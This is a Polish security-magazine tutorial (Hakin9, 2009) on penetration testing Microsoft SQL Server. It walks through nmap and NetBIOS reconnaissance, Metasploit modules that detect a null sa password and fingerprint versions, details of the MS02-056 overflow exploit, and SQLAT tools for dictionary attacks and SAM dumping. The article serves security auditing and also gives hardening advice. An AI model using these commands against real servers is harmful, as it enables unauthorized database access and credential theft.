Test penetracyjny MS SQL Server

11
20 HAKIN9 ATAK 7-8/2009 I stnieje bardzo wielkie ryzyko, że dane z baz danych mogą wpaść w niepowołane ręce. Aby się przed tym uchronić, przedsiębiorstwa są zmuszane do nieustannej analizy zastosowanych ustawień polityki bezpieczeństwa dla pakietów oprogramowania i własnych aplikacji. Microsoft SQL Server to popularne i niezawodne środowisko dla wielu aplikacji, które korzystają z baz danych – w połączeniu z dużą elastycznością, daje sporo możliwości. Niestety, jeśli taki potencjał nie zostanie odpowiednio zabezpieczony, wykorzystywany może być w niewłaściwy sposób. Ten artykuł ma na celu określenie pewnych rodzajów ryzyka, które mogą wynikać z niewłaściwego zarządzania Microsoft SQL Server. SQL Server domyślnie pozwala wszystkim użytkownikom na dostęp do głównej bazy danych, która zawiera wszystkie ustawienia dla programu, w tym także wszystkie informacje, które SQL Server wykorzystuje do otwarcia bazy danych. Zawiera także wszystkie identyfikatory logowania SQL, danych z podłączonych serwerów itp. Oczywiście podstawowi użytkownicy nie mają dostępu do wszystkich zasobów informacyjnych. Niemniej jednak nazwy kont i baz danych (w tym informacji przechowywanych na nich) mogą być dostępne nieuprzywilejowanym użytkownikom. W niniejszym artykule pokazane zostaną najczęstsze błędy baz danych i ich usług, GRZEGORZ GAŁĘZOWSKI Z ARTYKUŁU DOWIESZ SIĘ jak zdalnie analizować systemy z rodziny SQL Server; poznasz metody łamania haseł w SQL Server 2000 i 2005; jak wykorzystywać narzędzia audytowe. CO POWINIENEŚ WIEDZIEĆ znać podstawy obsługi MS SQL Server 2000 i 2005; sprawnie posługiwać się programami z poziomu linii poleceń; posiadać podstawy obsługi systemu MS Windows i Linux. omówione metody identyfikacji i wykorzystania ich przy użyciu narzędzi dostępnych z poziomu systemu Linux i Windows. Case studies (czyli korzystanie z otwartych i zamkniętych narzędzi audytowych) będzie oferować czytelnikowi wszechstronne podejście do korzystania z narzędzi i technik przedstawionych w tym artykule. Wiedza zdobyta na praktycznych przykładach może być bezpośrednio stosowana w odniesieniu do świata rzeczywistego. Wszyscy, którzy będą chcieli przeprowadzać testy na bazach danych, muszą najpierw poznać podstawowy zestaw narzędzi i technologii potrzebnych do skutecznego audytu. Po pierwsze, podstawowe pojęcia: definicję bazy danych oraz poszczególnych części składowych typowego systemu zarządzania bazami danych. Następnie kilka cech powszechnie używanego systemu zarządzania bazami danych jakim jest Microsoft SQL Server, w tym jego domyślne konta użytkowników, a także jego strukturę. W końcowej fazie szczegóły techniczne instalacji bazy, w tym domyślne porty, protokoły oraz inne informacje ważne dla testów penetracyjnych. Podstawowe pojęcia Czym jest baza danych i jak się różni od systemu zarządzania bazą danych? Baza danych jest Stopień trudności Test penetracyjny MS SQL Server Ci, którzy szukają sposobu na uzyskanie nielegalnego dostępu do bazy danych wykorzystają dowolny słaby punkt systemu. Ze wszystkich znanych technologii na świecie, żadna nie podlega takiej ciągłej obserwacji i atakom, jak bazy danych.

description

Ci, którzy szukają sposobu na uzyskanie nielegalnego dostępu do bazy danych wykorzystają dowolny słaby punkt systemu. Ze wszystkich znanych technologii na świecie, żadna nie podlega takiej ciągłej obserwacji i atakom, jak bazy danych.

Transcript of Test penetracyjny MS SQL Server

Page 1: Test penetracyjny MS SQL Server

20 HAKIN9

ATAK

7-8/2009

I stnieje bardzo wielkie ryzyko, że dane z baz danych mogą wpaść w niepowołane ręce. Aby się przed tym uchronić, przedsiębiorstwa są

zmuszane do nieustannej analizy zastosowanych ustawień polityki bezpieczeństwa dla pakietów oprogramowania i własnych aplikacji.

Microsof t SQL Server to popularne i niezawodne środowisko dla wielu aplikacji, które korzystają z baz danych – w połączeniu z dużą elastycznością, daje sporo możliwości. Niestety, jeśli taki potencjał nie zostanie odpowiednio zabezpieczony, wykorzystywany może być w niewłaściwy sposób.

Ten artykuł ma na celu określenie pewnych rodzajów ryzyka, które mogą wynikać z niewłaściwego zarządzania Microsoft SQL Server.

SQL Server domyślnie pozwala wszystkim użytkownikom na dostęp do głównej bazy danych, która zawiera wszystkie ustawienia dla programu, w tym także wszystkie informacje, które SQL Server wykorzystuje do otwarcia bazy danych. Zawiera także wszystkie identy fikatory logowania SQL, danych z podłączonych serwerów itp. Oczywiście podstawowi użytkownicy nie mają dostępu do wszystkich zasobów informacyjnych. Niemniej jednak nazwy kont i baz danych (w tym informacji przechowywanych na nich) mogą być dostępne nieuprzywilejowanym użytkownikom.

W niniejszym ar tykule pokazane zostaną najczęstsze błędy baz danych i ich usług,

GRZEGORZ GAŁĘZOWSKI

Z ARTYKUŁU DOWIESZ SIĘjak zdalnie analizować systemy z rodziny SQL Server;

poznasz metody łamania haseł w SQL Server 2000 i 2005;

jak wykorzystywać narzędzia audytowe.

CO POWINIENEŚ WIEDZIEĆznać podstawy obsługi MS SQL Server 2000 i 2005;

sprawnie posługiwać się programami z poziomu linii poleceń;

posiadać podstawy obsługi systemu MS Windows i Linux.

omówione metody identy fikacji i wykorzystania ich przy użyciu narzędzi dostępnych z poziomu systemu Linux i Windows.

Case studies (czyli korzystanie z otwar tych i zamkniętych narzędzi audytowych) będzie oferować czytelnikowi wszechstronne podejście do korzystania z narzędzi i technik przedstawionych w tym ar tykule. Wiedza zdobyta na praktycznych przykładach może być bezpośrednio stosowana w odniesieniu do świata rzeczywistego.

Wszyscy, którzy będą chcieli przeprowadzać testy na bazach danych, muszą najpierw poznać podstawowy zestaw narzędzi i technologii potrzebnych do skutecznego audytu. Po pierwsze, podstawowe pojęcia: definicję bazy danych oraz poszczególnych części składowych typowego systemu zarządzania bazami danych. Następnie kilka cech powszechnie używanego systemu zarządzania bazami danych jakim jest Microsof t SQL Server, w tym jego domyślne konta użytkowników, a także jego strukturę. W końcowej fazie szczegóły techniczne instalacji bazy, w tym domyślne por ty, protokoły oraz inne informacje ważne dla testów penetracyjnych.

Podstawowe pojęcia Czym jest baza danych i jak się różni od systemu zarządzania bazą danych? Baza danych jest

Stopień trudności

Test penetracyjny MS SQL ServerCi, którzy szukają sposobu na uzyskanie nielegalnego dostępu do bazy danych wykorzystają dowolny słaby punkt systemu. Ze wszystkich znanych technologii na świecie, żadna nie podlega takiej ciągłej obserwacji i atakom, jak bazy danych.

Page 2: Test penetracyjny MS SQL Server

21 HAKIN9 7-8/2009

uporządkowanym zbiorem informacji, który związany jest w zorganizowany sposób. System zarządzania bazą danych jest programem komputerowym używanym do uzyskiwania

dostępu, zarządzania i aktualizacji informacji w bazie danych. Od tego miejsca, aż do końca ar tykułu, będą stosowane terminy systemu zarządzania bazy danych i baz danych zamiennie, by odnieść się do terminu bazy danych i systemu zarządzania bazą danych.

Instalacja bazy danych Zrozumienie tego, co się dzieje, po zainstalowaniu bazy danych jest ważne dla zrozumienia sposobu podejścia do badań, nad strukturą systemu bazy danych. Instalowanie bazy danych jest podobne do instalowania innych programów. Potrzeby bazy danych są unikalne i często oprogramowanie bazy danych jest tylko aplikacją zainstalowaną na serwerze lub stacji roboczej. Stworzenie rzeczywistej bazy danych wymaga szczególnej uwagi i wiedzy.

Różne systemy w tym i SQL Server mają funkcje do tworzenia bazy danych za pomocą kreatora, za pomocą skryptów lub też ręcznie. Kiedy baza danych jest tworzona, wraz z nią tworzone są konta domyślnych użytkowników, ich role i uprawnienia. Administrator bazy danych powinien zabezpieczyć wiele ze wspomnianych, domyślnych elementów już w momencie tworzenia.

Zabezpieczenie baz danych jest trudniejsze, niż większości innych systemów. Jeśli baza danych jest produkcyjna, naprawa lub wykonanie zabezpieczeń może spowodować, że przestanie ona działać prawidłowo. Ważne jest , by wymogi bezpieczeństwa były wbudowane w system w tym samym

czasie, co wymagania funkcjonalne bazy danych.

Jeśli programista lub administrator buduje bazę danych korzystając z domyślnych ustawień, bez żadnych wskazówek z zakresu wymogów bezpieczeństwa, to takie bazy danych mogą posiadać wiele funkcji, które będą ją upośledzać pod względem bezpieczeństwa.

Użytkownicy Microsoft SQL Server W SQL Server tworzone jest konto o nazwie sa, czyli administratora systemu programu SQL Server, właściciela bazy danych (dbo ) i wszystkich baz danych na serwerze SQL. Konto logowania sa jest podłączone do roli sysadmin . Jest to również dbo dla wszystkich baz danych. To konto domyślnie przyznaje wszystkie

Tabela 1. Stałe role bazy danych w SQL Server

Wbudowana rola bazy danych Uprawnienia na poziomie bazy danych

db_accessadmin Przyznane: ALTER ANY USER, CREATE SCHEMA

db_accessadmin Przyznana opcja GRANT: CONNECT

db_backupoperator Przyznane: BACKUP DATABASE, BACKUP LOG, CHECKPOINT

db_datareader Przyznane: SELECT

db_datawriter Przyznane: DELETE, INSERT, UPDATE

db_ddladmin Przyznane: ALTER ANY ASSEMBLY, ALTER ANY ASYMMETRIC KEY, ALTER ANY CERTIFICATE, ALTER ANY CONTRACT, ALTER ANY DATABASE DDL TRIGGER, ALTER ANY DATABASE EVENT, NOTIFICATION, ALTER ANY DATASPACE, ALTER ANY FULLTEXT CATALOG, ALTER ANY MESSAGE TYPE, ALTER ANY REMOTE SERVICE BINDING, ALTER ANY ROUTE, ALTER ANY SCHEMA, ALTER ANY SERVICE, ALTER ANY SYMMETRIC KEY, CHECKPOINT, CREATE AGGREGATE, CREATE DEFAULT, CREATE FUNCTION, CREATE PROCEDURE, CREATE QUEUE, CREATE RULE, CREATE SYNONYM, CREATE TABLE, CREATE TYPE, CREATE VIEW, CREATE XML SCHEMA COLLECTION, REFERENCES

db_denydatareader Zabronione: SELECT

db_denydatawriter Zabronione: DELETE, INSERT, UPDATE

db_owner Przyznana opcja: GRANT: CONTROL

db_securityadmin Przyznane: ALTER ANY APPLICATION ROLE, ALTER ANY ROLE, CREATE SCHEMA, VIEW DEFINITION

Listing 1. Skanowanie nmap z opcją -sLgsg ~ # nmap -sL 10.0.0.210-215

Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 13:12 GMT

Host 10.0.0.210 not scanned

Host 10.0.0.211 not scanned

Host mssql2000.pl (10.0.0.212) not scanned

Host mssql2005.pl (10.0.0.213) not scanned

Host 10.0.0.214 not scanned

Host 10.0.0.215 not scanned

Nmap finished: 6 IP addresses (0 hosts up) scanned in 0.012 secondes

gsg ~ #

Rysunek 1. Dodawanie hashy do programu Cain&Abel

TEST PENETRACYJNY MS SQL SERVER

Page 3: Test penetracyjny MS SQL Server

ATAK

22 HAKIN9 7-8/2009 23 HAKIN9 7-8/2009

TEST PENETRACYJNY MS SQL SERVER

przywileje i uprawnienia na bazy danych i można dzięki niemu także wykonywać polecenia systemowe na serwerze SQL.

Kiedy tworzone jest konto nowego użytkownika SQL Server, administratorzy (DBA) muszą zadbać o przydział odpowiednich przywilejów i ról dla takiego użytkownika.

Można także skonfigurować SQL Server do używania uwierzytelniania użytkowników systemu Windows tylko

lub w połączeniu z SQL Server, który to tr yb nazywa się tr ybem uwierzytelniania mieszanego. Gdy nowe konto jest tworzone, użytkownik może uwierzytelniać się do bazy i pracować na niej w granicach swoich uprawnień i funkcji. Tryb uwierzytelniania systemu Windows ułatwia pracę użytkownikowi, ponieważ ma on do zapamiętania tylko jedno hasło, ale to może również stworzyć potencjalne luki. Jeśli uwierzytelnianie dla

użytkownika Windows będzie naruszone i baza danych używa właśnie takiego typu uwierzytelniania, to dostęp do bazy danych będzie bezproblemowy. Z punktu widzenia bezpieczeństwa jest to bardzo duże zagrożenie.

SQL Server – role i uprawnienia Microsof t SQL Server ma uproszczone zarządzanie uprawnieniami poprzez tworzenie ról.

Aby pomóc administratorom w tworzeniu, modyfikowaniu, usuwaniu i sprawdzaniu kont SQL Server wyposażony jest w zestaw wbudowanych ról bazy danych. Można je wykorzystać także do grupowania użytkowników. Do grupowania użytkowników, mających te same potrzeby dostępu, można również utworzyć własne role bazy danych i przypisać uprawnienia grupom zamiast poszczególnym użytkownikom.

SQL Server procedury przechowywane i rozszerzoneW procedurach przechowywanych znajdują się fragmenty kodu napisane w języku Transact-SQL (T-SQL), które są udostępniane do dalszego wykorzystania. Przykładem przydatnej procedury jest sp _ addlogin , która to stosowana jest w celu utworzenia nowego użytkownika. Rozszerzone procedury są podobne do procedur przechowywanych, chyba że zawierają linki bibliotek dynamicznych (DLL). Rozszerzone procedury uruchamiania SQL Server służą do zwiększenia funkcjonalności bazy danych na serwerze. Jedną z rozszerzonych procedur przydatną przy testach penetracyjnych jest xp _ cmdshell , która pozwala użytkownikowi na wykonanie polecenia w powłoce systemu operacyjnego Windows. Jak widać, procedury składowane w SQL Server mogą znacznie poprawić możliwości bazy danych. Jednakże mogą one także tworzyć poważne luki w zakresie bezpieczeństwa.

KomunikacjaGdy baza danych jest już zainstalowana, użytkownik musi mieć możliwość podłączenia się do niej by móc jej używać.

Listing 2. Skanowanie z wykorzystaniem Nmapgsg ~ #nmap -sL 10.0.0.210-215

Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 12:30 GMT

Host 10.0.0.210 not scanned

Host 10.0.0.211 not scanned

Host mssql2000.pl (10.0.0.212) not scanned

Host mssql2005.pl (10.0.0.213) not scanned

Host 10.0.0.214 not scanned

Host 10.0.0.215 not scanned

Nmap finished: 6 IP addresses (0 hosts up) scanned in 0.021 seconds

Listing 3. Skanowanie Nmap gsg ~ #nmap -sSUV -P0 -T4 -pT:1433,U:1434 10.0.0.213

Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 12:35 GMT

Interesting ports on mssql2005.pl (10.0.0.213):

PORT STATE SERVICE VERSION

1433/tcp open ms-sql-s?

1434/udp open ms-sql-m Microsoft SQL Server 0.00.1399.06 (ServerName: MSSQL2005;

TCPPort: 1433) MAC Address: 00:0C:31:DF:5A:01

Service Info: OS: Windows

Service detection performed. Please report any incorrect results at http://

insecure.org/nmap/submit/

Nmap finished: 1 IP address (1 host up) scanned in 26.834 seconds

Listing 4. NetViewX używanie komendC:\cmd>NETVIEWX.EXE -h

Usage:netviewx [-D domain] [-T type...] [-0 format : -x] [-t | -c x] [-C x]

Lists current nodes in a domain that matches servers running specific services.

Version: v0.5 19990203.

-D domain The domain to list. Default is the current domain.

-T type... The service types to match, Can be one or more of: workstation, server,

sqlserver,domain_ctrl, domain_bakctrl, time_source, afp, novell,

domain_member, printing_server, dialin_server, server_mfpn,

server_nt, server_osf, server_unix, nt, wfw, potential_browser,

backup_browser, master_browser, domain_master, server_vms,

windows, dfs, cluster_nt, dce, alternate_xport, local_list_only,

domain_enum, all. Default is all.

-0 format Selects the fields to list for the servers. The format should be a string of letters, where: n=name, m=major version, i=minor version,

p=platform id, T=service types, C=comment in quotes, c=comment

witch major and minor version. Default is nmipTC.

-x A shorthand for -0nsvtc -c " " -C +-t Separate fields with tabs. Default is comma (,).

-c x separate fields with the character x.

-C x Separate the server types with the character x. Default is to separate the

types with x.

C:\cmd>NETVIEWX.EXE -D gsgcorp -T sqlserver

MSSQL2000,5,0,500,nt%workstation%server_nt%server%sqlserver%backup_browser%master_

browser%2000000,""

MSSQL2005,5,0,500,nt%workstation%server_nt%server%sqlserver%backup_browser %2000000,""

Page 4: Test penetracyjny MS SQL Server

ATAK

22 HAKIN9 7-8/2009 23 HAKIN9 7-8/2009

TEST PENETRACYJNY MS SQL SERVER

Do komunikacji wykorzystywany jest protokół TCP (Transmission Control Protocol ) i UDP (User Datagram Protocol ). Domyślnie SQL Server wykorzystuje port TCP 1433 do połączenia z bazą danych. Ten port może być oczywiście zmieniony, ale zwykle nie jest. Większość może wiedzieć, jaki jest domyślnie wykorzystywany port TCP dla programu SQL Server, ale wielu może nie zdawać sobie sprawy, że port UDP jest także silnie związany z bazą danych. Port UDP 1434 umożliwia klientom przeglądanie bazy. Port ten może stać się celem ataku dla wielu robaków i może być wykorzystany do ataku typu przepełnienia buforu. Firma Microsoft wydała poprawkę do tego problemu, ale nadal można znaleźć tę lukę w wielu środowiskach.

Korzystanie z otwartych i zamkniętych narzędzi audytowychPierwszym krokiem w przeprowadzeniu wszelkich testów penetracyjnych jest odkrycie, jakie por ty są otwar te na danym hoście, a także powiązanych z nimi usług. W następnych kilku krokach wskazane będą metody identy fikacji Microsof t SQL Server.

DNS (Domain Name System) jest procesem rozwiązywania nazw hostów z adresów IP (Internet Protocol ). Opisowe nazwy mogą ujawnić wiele informacji, takie jak rodzaj systemu operacyjnego i usług uruchomionych na danym systemie. Listing 1 pokazuje popularny skaner por tów Nmap za pomocą którego można wykonać skanowanie (z opcją -SL), pokazany jest tu zakres adresów IP do nazw hosta.

Wynik skanowania z wykorzystaniem skanera Nmap zwrócił listę adresów IP, zwróci także rozwiązaną nazwę mssql2000 i mssql2005. Można określić z uzyskanych wyników, że istnieje wysokie prawdopodobieństwo, że pod adresem 10.0.0.212 jest uruchomiony program Microsof t SQL Server 2000, a pod adresem 10.0.0.213 jest uruchomiony program Microsof t SQL Server 2005.

Skanowanie portów TCP i UDPSkanowanie por tów to działanie polegające na wysyłaniu pakietów TCP

lub UDP do systemu celem sprawdzenia otwar tych por tów i dostępnych serwisów. Skanowanie sieci, można przeprowadzić właśnie takim programem jak Nmap , który pomaga określić, jakie hosty są aktywne i jakie por ty TCP i UDP są na nich otwar te. Na Listingu 2 i Listingu 3 wykonane zostało skanowanie z wykorzystaniem Nmap w poszukiwaniu serwera Microsof t SQL i domyślnych por tów TCP i UDP (patrz Ramka Port Number Service Service Description ), korzystając z opcji opisanych w Ramce Opis opcji Nmap .

Nmap przedstawił informacje na temat wersji serwera i wykorzystywanych por tów, w tym także informację o MAC adresie. Korzystając z Nmap można także określić dokładnie jaka jest to wersja serwera, a także czy i jakie

zainstalowane są dodatki typu Service Pack. Pomocna przy określaniu wersji serwera będzie Ramka Publikacje wersji Sqlservr.exe , w której są wymienione różne wersje sqlserv.exe

NetBIOS i protokół Server Message Block (SMB) W systemach Microsof t Windows Server jak i w stacjach roboczych informacje o zarejestrowanych usługach zintegrowane są z główną przeglądarką. NetViewX (www.ibt .ku.dk/jesper/NetViewX/ ) oraz MBEnum (www.cqure.net/wp/?page_id=20 ). Są to dwa programy, które mogą być wykorzystane do odpytania głównej przeglądarki i uzyskania tą drogą informacji o zarejestrowanych usługach. Analiza systemu Microsof t SQL Server z wykorzystaniem protokołu

Listing 5. Używanie programu MBEnumC:\cmd\mbenum

MBEnum v.1.5.0 by [email protected]

----------------------------------------------

mbenum [-s \\server] [-d don ] [-f filter] -p <mode>

Presentation modes:

1 - by server

2 - by service

3 - by service vertically

c:\cmd>mbenum.exe -d gsgcorp -f "SQL Server" -p 1

MBEnum v.1.5.0 by [email protected]

Name: MSSQL2005

Services: Server, Workstation, SQL Server, Term, server, Member server

Comment:

OS Version: Windows 2003 Server

Name: MSSQL2000

Services: Server, Workstation, SQL Server, Master browser, Term, server, Member server

Comment:

OS Version: Windows 2003 Server

Listing 6. Rozwiązywanie nazw NetBIOS na adresy IP z wykorzystaniem nmblookupgsg ~ # nbmlookup MSSQL2000

querying MSSQL2000 on 10.0.0.255

10.0.0.212 MSSQL2000<00>

gsg ~ # nmblookup MSSQL2005

querying MSSQL2005 on 10.0.0.255

10.0.0.213 MSSQL2005<00>

Listing 7. Aktualizacja Metasploit z wykorzystaniem Subversion (SVN)gsg ~ # cd /pentest/exploits/framework3/

gsg framework3 #svn update

Listing 7a. Aktualizacja Metasploit z wykorzystaniem Subversion (SVN)gsg framework3 # ./msfcli |grep -i mssql

exploit/windows/msql/ms02_039_slammer Microsoft SQL Server Resolution Overflow

exploit/windows/mssql/ms02_056_hello Microsoft SQL Server Hello Overflow

auxiliary/scanner/mssql/mssql_login MSSQL Login Utility

auxiliary/scanner/mssql/mssql_ping MSSQL Ping Utility

ATAK

Page 5: Test penetracyjny MS SQL Server

ATAK

24 HAKIN9 7-8/2009 25 HAKIN9 7-8/2009

TEST PENETRACYJNY MS SQL SERVER

pakiet, który rozwijany jako platforma do tworzenia narzędzi wykrywających luki systemowe, wykorzystuje także możliwości skanera Nessus .

Metasploit Framework 3 Program ten umożliwia pracę zarówno z linii poleceń oraz w środowisku graficznym. Warto pamiętać o aktualizacji systemu MF3 (Listing 7).

Użyjemy teraz konsoli msfcli i narzędzia wyszukiwawczego grep by odnaleźć dostępne exploity dla Microsof t SQL Server (Listing 7).

Gdy już wszystko jest ustalone, wiadomo które exploity będą wykorzystane przeciwko Microsof t SQL, war to uzyskać szczegółowe informacje na ich temat, korzystając z informacji zbiorczych polecenia S. Można również wykorzystać flagę E z odpowiednimi parametrami RHOSTS dla badanego elementu. Listing 8 i 9 demonstruje sposób praktycznego wykorzystania omówionych elementów do wyświetlenia szczegółowych informacji na temat wybranych elementów.

Można zauważyć, że wykorzystanie wybranego exploita jest przeznaczone dla Microsoft SQL Server 2000 z dodatkiem Service Pack 2 i starszym. Badanie SQL Server dostępnego pod adresem IP 10.0.0.212 ukazuje podatność na wykorzystanie tego exploita. Narzędzie ping wykryło, że Microsoft SQL uruchomiony został w wersji 8.00.194. Na Listingu 10 widać, że jest to wersja która poprzedza Service Pack 1.

Atak na autentykację Microsoft SQL ServerW celu uwierzytelnienia się do programu Microsof t SQL Server potrzebna jest

Rysunek 3. Atak słownikowy na instancję Microsoft SQL Server 2005

SMB jest bardzo szybka i przy tym w sumie niewykrywalna (wygląda to tak jak przy normalnej pracy z SMB) możemy odkryć, usługi ustawione na słuchanie na domyślnym porcie TCP (1433/tcp) chronione przez firewall lub w przypadku niektórych wersji, gdy usługa nie ma zezwolenia na zdalne połączenie. Listingi 4 i 5 ilustrują właściwe użycie poleceń i wykonanie odpowiednio programu NetViewX i MBEnum . W tych przykładach, odpytywana jest domena gsgcorp z Microsof t SQL Servers 2000 i 2005.

W obydwu przykładach wyniki zapytania zawierają nazwy NetBIOS (MSSQL2000 i

MSSQL2005) i nie mają powiązanych z nimi adresów IP. Jak widzimy na Listingu 6 można użyć narzędzia nmblookup, które rozwiąże nazwy NetBIOS na adresy IP.

Po wykryciu bazy danych i serwera docelowego, następnym krokiem jest identyfikacja słabych punktów w usługach. Przydatnym narzędziem do tego celu będzie Metasploit Framework . Jest to

Port Number Service Service Description1433/tcp ms-sql-s Microsoft-SQL-Server

1434/udp ms-sql-m Microsoft-SQL-Monitor

Opis opcji Nmap• sS skanowanie TCP SYN • sU skanowanie UDP• sV sprawdzanie systemu w celu odkrycia otwartych portów, określenia usług i pozyskanie

informacji o ich wersjach,• P0 Skanuj wszystkie hosty dostępne online• T4 ustaw czas szablonu (im wyższy tym jest szybszy)• pT:1433,U:1434 zakres portów. Podczas skanowania obu portów TCP i UDP, można określić

konkretny protokół poprzedniego numeru portu przez T: lub U:.

Publikacje wersji Sqlservr.exeReleased to Manufacturing (RTM) 2000.80.194.0

SQL Server 2000 Service Pack 1 2000.80.384.0SQL Server 2000 Service Pack 2 2000.80.534.0SQL Server 2000 Service Pack 3 2000.80.760.0SQL Server 2000 Service Pack 3a 2000.80.760.0SQL Server 2000 Service Pack 4 2000.8.00.2039SQL Server 2005 Service Pack 1 2005.90.2047SQL Server 2005 Service Pack 2 2005.90.3042

Rysunek 2. Hashe wprowadzone do programu Cain&Abel

Page 6: Test penetracyjny MS SQL Server

ATAK

24 HAKIN9 7-8/2009 25 HAKIN9 7-8/2009

TEST PENETRACYJNY MS SQL SERVER

znajomość nazwy użytkownika i hasła. Jedną z metod uzyskania dostępu do oprogramowania Microsof t SQL Server, jest wykonanie ataku słownikowego z wykorzystaniem wspólnej nazwy dla użytkownika i hasła.

Tryb uwierzytelniania Windows NT Authentication ModeDomyślnie członkowie lokalnych grup administratorów w systemie Windows mają prawa administratora systemu Microsof t SQL Server. Nazwa użytkownika i hasło nie są przechowywane w Microsof t SQL Server.

Tryb mieszany (najczęściej spotykany)W trybie mieszanym wspierane jest zarówno uwierzytelnianie systemu Windows i uwierzytelnianie ze strony SQL Serwer. Tryb ten nie jest domyślny. Jego powszechne stosowanie wynika z problemów ze zgodnością z niektórymi aplikacjami wymagającymi programu Microsof t SQL Server lub też wymagane jest uwierzytelnianie przez użytkownika sa . Nazwy użytkowników i hasła są przechowywane w Microsof t SQL Server.

Hasła w Microsoft SQL Server – wytyczneDla zagwarantowania większego bezpieczeństwa należy wprowadzić politykę wymuszania haseł dla standardowego logowania. W SQL Server można wprowadzić politykę Microsof t Windows dla standardowego logowania, tak żeby spójne zasady zostały zastosowane do wszystkich kont w domenie.

Wymuszanie haseł musi być ręcznie skonfigurowane, zgodnie z polityką systemu operacyjnego. W SQL Server 2005 dostępne są następujące obszary wymuszania polityki haseł :

• siła hasła;• wygasanie haseł;• blokady kont.

Domyślnie sprawdzana jest polityka haseł. Mechanizm haseł kontroluje także hasła aplikacji klienckich, dlatego też połączenia aplikacji mogą być sprawdzone pod względem siły haseł.

Listing 8. Uzyskanie szczegółowych informacji z wykorzystaniem parametru Sgsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login S

Name: MSSQL Login Utility

Version: 4749

Provided by:

MC [email protected]

Basic options:

Name Current Setting Required Description

------ ------------------ ---------- --------------

RHOSTS yes The target address range or CIDR

identifier

RPORT 1433 yes The target port

THREADS 1 yes The number of concurrent threads

Description:

This module simply queries the MSSQL instance for a null SA account.

gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login RHOSTS=10.0.0.212 E

[*] Target 10.0.0.212 does have a null sa account...

gsg framework3 ./msfcli auxiliary/scanner/mssql/mssql_login RHOSTS=10.0.0.212 E

[*] Target 10.0.0.212 does have a null sa account...

gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login S

Name: MSSQL Login Utility

Version: 4749

Provided by:

MC [email protected]

Basic options:

Name Current Setting Required Description

------ ------------------ ---------- --------------

RHOSTS yes The target address range or CIDR

identifier

THREADS 1 yes The number of concurrent threads

Description:

This module simply queries the MSSQL instance for information.

gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_ping RHOSTS=10.0.0.212 E

[*] SQL Server information for 10.0.0.212:[*] tcp =1433

[*] np = \\MSSQL2000\pipe\sql\query

[*] Version = 8.00.194

[*] IsClustered = No

[*] InstanceName = MSSQLSERVER

gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_ping RHOSTS=10.0.0.213 E

[*] SQL Server information for 10.0.0.213:[*] tcp = 1433

[*] Version =9.00.1399.06

[*] ServerName =MSSQL2005

[*] IsClustered =No

[*] InstanceName =MSSQLSERVER

gsg framework3 #

Page 7: Test penetracyjny MS SQL Server

ATAK

26 HAKIN9 7-8/2009 27 HAKIN9 7-8/2009

TEST PENETRACYJNY MS SQL SERVER

Złożoność hasła jest definiowana kilkoma elementami:

• hasło musi zawierać co najmniej sześć znaków;

• hasło musi zawierać przynajmniej trzy z czterech typów znaków: wielkie litery, małe litery, cyfry i znaki niealfanumeryczne;

• hasło nie może mieć wartości: Admin, Administrator, Password, sa, sysadmin , nazwy komputera zawierającego instalację SQL Server i całej lub części nazwy aktualnie zalogowanego konta Windows.

Wygasanie haseł jest określone przez wartość Maksymalny okres ważności hasła ustawienia polityki grupowej , podczas gdy blokada zależy od wartości przypisanej do opcji : Czas trwania blokady konta, Próg blokady konta i Wyzeruj liczniki blokady konta po.

Audyt SQL Tools (SQLAT) Audyt SQL Tools (SQLAT) jest zestawem narzędzi stworzonych przez Patrika Karlssona. SQLAT zawiera różne narzędzia do wykonywania ataków słownikowych, uploadu plików na serwer SQL, tworzenia zrzutu pliku SAM (z

wykorzystaniem pwdump2 ). Dostępne jest także narzędzie do minimalnej analizy programu SQL Server z generowaniem raportów w formie HTML. Narzędzie to czasowo przywraca funkcję xp _ cmdshell, gdy jest ona wyłączona. SQLAT jest opar ty na bibliotece freetds i od wersji 1.0.6 wspiera system logowania NTLM list narzędzi dostępnych w zestawie:

• sqlanlz tworzy rapor ty analityczne w języku HTML, zawierające analizę baz danych, użytkowników i rozszerzonych procedur z Microsof t SQL Server.

• sqldict wykonuje atak słownikowy na Microsof t SQL Server.

• sqldir tree wyświetla ASCII katalogów z bazy katalogu.

• sqldumplogins robi zrzuty kont użytkowników z SQL Server.

• sqlquery interaktywne narzędzie linii poleceń umożliwiające dostęp do poleceń SQL.

• sqlregenumkey wylicza określony klucz rejestru.

• sqlreggetvalue wymienia wartości dla konkretnego klucza rejestru.

• sqlsamdump używa programu pwdump2 do zrzutu pliku SAM.

• sqlupload ładuje pliki do Microsof t SQL Server.

W Listingu 12 narzędzie sqldict jest używane do przeprowadzenia ataku słownikowego na

mechanizmy uwierzytelniania SQL Server 2000 i 2005. W przypadku tego ataku korzystać można z nazw użytkowników i haseł utworzonych specjalnie na potrzeby testu (Ramka Nazwy użytkowników i haseł utworzonych specjalnie na potrzeby testu).

Po uprzywilejowanym dostępie do programu Microsof t SQL Server za pomocą exploita lub po udanym ataku słownikowym, można dodać pomyślnie złamane konto do własnego słownika. Te nowo uzyskane konto umożliwia dostęp do dodatkowych kont.

Microsoft SQL Server 2000 Microsof t SQL Server 2000 przechowuje swoje konta w bazie danych master. Hasła są generowane za pomocą funkcji pwdencrypt () w postaci hashów

Listing 9. Uzyskanie szczegółowych informacji na temat exploita ms02 _ 056 _ hello gsg framework3 # ./msfcli exploit/windows/mssql/ms02_056_hello S

Name: Microsoft SQL Server Hello Overflow

Version: 4498

Platform: Windows

Privileged: Yes

License: Metasploit Framework License

Provided by:

MC [email protected]

Available targets:

Id Name

-- -------

0 MSSQL 2000 / MSDE <= SP2

Basic options:

Name Current Setting Required Description

------- ------------------- ----------- -------------

RHOST yes The target address

RPORT 1433 yes The target port

Payload information:

Space: 512

Avoid: 1 characters

Description:

By sending malformed data to TCP port 1433, an unauthenticated remote attacker vould

overflow a buffer and possibly execute code on the server with

SYSTEM level privileges. This module should work against any

vulnerable SQL Server 2000 or MSDE install (< SP3).

References:

http://www.securityfocus.com/bid/5411

http://cvd.mitre.org/cgi-bin/cnename.cgi?name=2002-1123

http://www.microsoft.com/technet/security/bulletin/MS02-056.mspx

